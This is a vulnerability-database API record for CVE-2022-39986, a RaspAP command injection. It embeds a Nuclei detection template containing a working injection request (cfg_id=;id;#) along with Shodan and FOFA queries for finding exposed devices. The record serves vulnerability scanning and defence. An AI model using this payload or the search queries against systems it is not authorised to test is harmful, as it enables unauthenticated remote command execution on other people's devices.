{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2022-39986/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2022-39986/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2022-39986/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2022-39986/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2022-39986/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2022-39986"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2022-39986"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2022/CVE-2022-39986.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2022-39986\n\ninfo:\n  name: RaspAP 2.8.7 - Unauthenticated Command Injection\n  author: DhiyaneshDK\n  severity: critical\n  description: |\n    A Command injection vulnerability in RaspAP 2.8.0 thru 2.8.7 allows unauthenticated attackers to execute arbitrary commands via the cfg_id parameter in /ajax/openvpn/activate_ovpncfg.php and /ajax/openvpn/del_ovpncfg.php.\n  impact: |\n    Successful exploitation of this vulnerability can lead to remote code execution, compromising the confidentiality, integrity, and availability of the affected system.\n  remediation: |\n    Upgrade to a patched version of RaspAP or apply the vendor-supplied patch to mitigate this vulnerability.\n  reference:\n    - https://packetstormsecurity.com/files/174190/RaspAP-2.8.7-Unauthenticated-Command-Injection.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-39986\n    - https://medium.com/@ismael0x00/multiple-vulnerabilities-in-raspap-3c35e78809f2\n    - http://packetstormsecurity.com/files/174190/RaspAP-2.8.7-Unauthenticated-Command-Injection.html\n    - https://github.com/RaspAP/raspap-webgui/blob/master/ajax/openvpn/activate_ovpncfg.php\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-39986\n    cwe-id: CWE-77\n    epss-score: 0.99034\n    epss-percentile: 0.9993\n    cpe: cpe:2.3:a:raspap:raspap:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: raspap\n    product: raspap\n    shodan-query: http.favicon.hash:-1465760059\n    fofa-query: icon_hash=-1465760059\n  tags: cve,cve2022,packetstorm,raspap,rce,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /ajax/openvpn/del_ovpncfg.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        cfg_id=;id;#\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"uid=([0-9(a-z-)]+) gid=([0-9(a-z-)]+) groups=([0-9(a-z-)]+)\"\n\n      - type: word\n        part: header\n        words:\n          - \"text/html\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402205b766e0d661c60c2a659dca1b396226509e2a5cb489e963e6ce53b69699003ee022061e75fce7e67b01873432a1247459c2c04b30cda9d908b0c5191e940000f86a4:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2022-39986"
}